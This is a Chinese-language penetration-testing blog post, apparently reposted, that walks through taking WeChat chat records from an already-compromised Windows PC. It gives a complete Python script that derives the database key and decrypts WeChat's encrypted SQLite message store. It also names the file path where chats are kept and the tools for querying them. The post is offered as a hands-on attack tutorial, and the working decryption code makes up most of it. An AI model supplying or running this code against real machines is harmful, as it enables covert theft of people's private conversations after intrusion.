信息收集之获取wx聊天记录
2022-9-5 08:58:48 Author: mp.weixin.qq.com(查看原文) 阅读量:26 收藏

声明 转载于老李安全

在内网渗透中 一般我的习惯是先打一台PC机,当通过某种手段拿下PC机后进行信息收集大概是可以用到,另一种是获取了登录账号密码,没有远程 也可以通过smb将文件传回本地进行信息收集,场景很多,根据具体情况而定。文章不知道会不会和谐,且看且珍惜。

下面就手把手教大伙如何获取目标的聊天记录~~

目标上线后可以通过VNC、截图、tasklist等多种手段来确认微信是否开启

获取key

使用工具 获取微信key

获取key后通过脚本进行解密


Python3

  1. from Crypto.Cipher import AES

  2. import hashlib, hmac, ctypes, sys, getopt

  3. SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)

  4. IV_SIZE = 16

  5. HMAC_SHA1_SIZE = 20

  6. KEY_SIZE = 32

  7. DEFAULT_PAGESIZE = 4096

  8. DEFAULT_ITER = 64000

  9. opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')

  10. input_pass = ''

  11. input_dir = ''

  12. for op, value in opts:

  13. if op == '-k':

  14. input_pass = value

  15. else:

  16. if op == '-d':

  17. input_dir = value

  18. password = bytes.fromhex(input_pass.replace(' ', ''))

  19. with open(input_dir, 'rb') as (f):

  20. blist = f.read()

  21. print(len(blist))

  22. salt = blist[:16]

  23. key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)

  24. first = blist[16:DEFAULT_PAGESIZE]

  25. mac_salt = bytes([x ^ 58 for x in salt])

  26. mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)

  27. hash_mac = hmac.new(mac_key, digestmod='sha1')

  28. hash_mac.update(first[:-32])

  29. hash_mac.update(bytes(ctypes.c_int(1)))

  30. if hash_mac.digest() == first[-32:-12]:

  31. print('Decryption Success')

  32. else:

  33. print('Password Error')

  34. blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]

  35. with open(input_dir, 'wb') as (f):

  36. f.write(SQLITE_FILE_HEADER)

  37. t = AES.new(key, AES.MODE_CBC, first[-48:-32])

  38. f.write(t.decrypt(first[:-48]))

  39. f.write(first[-48:])

  40. for i in blist:

  41. t = AES.new(key, AES.MODE_CBC, i[-48:-32])

  42. f.write(t.decrypt(i[:-48]))

  43. f.write(i[-48:])

运行脚本安装pip包时,一直安装失败。出现了一些问题,一番探查 发现原因是pip包冲突了
解决方法:

卸载crypto

  1. pip3 uninstall crypto

卸载

  1. pip3 uninstall pycrypto

重新安装

  1. pip3 install crypto

此时就可以运行起来

解密

微信默认安装路径为:

微信聊天db文件存储路径为:

  1. C:\Users\xxxx\Documents\WeChat Files\xxxx\Msg\Multi

查询聊天记录

使用navicat连接db文件


查询聊天记录


也可以使用db browser查询


文章来源: http://mp.weixin.qq.com/s?__biz=MzI0Nzc0NTcwOQ==&mid=2247485510&idx=1&sn=680a4d3c0b29708b36e0ecfbd1a4c618&chksm=e9aa1584dedd9c92b43baf50bc89dc92cab67514797afa011b0ce229feba9a5de340ea403a4d#rd
如有侵权请联系:admin#unsafe.sh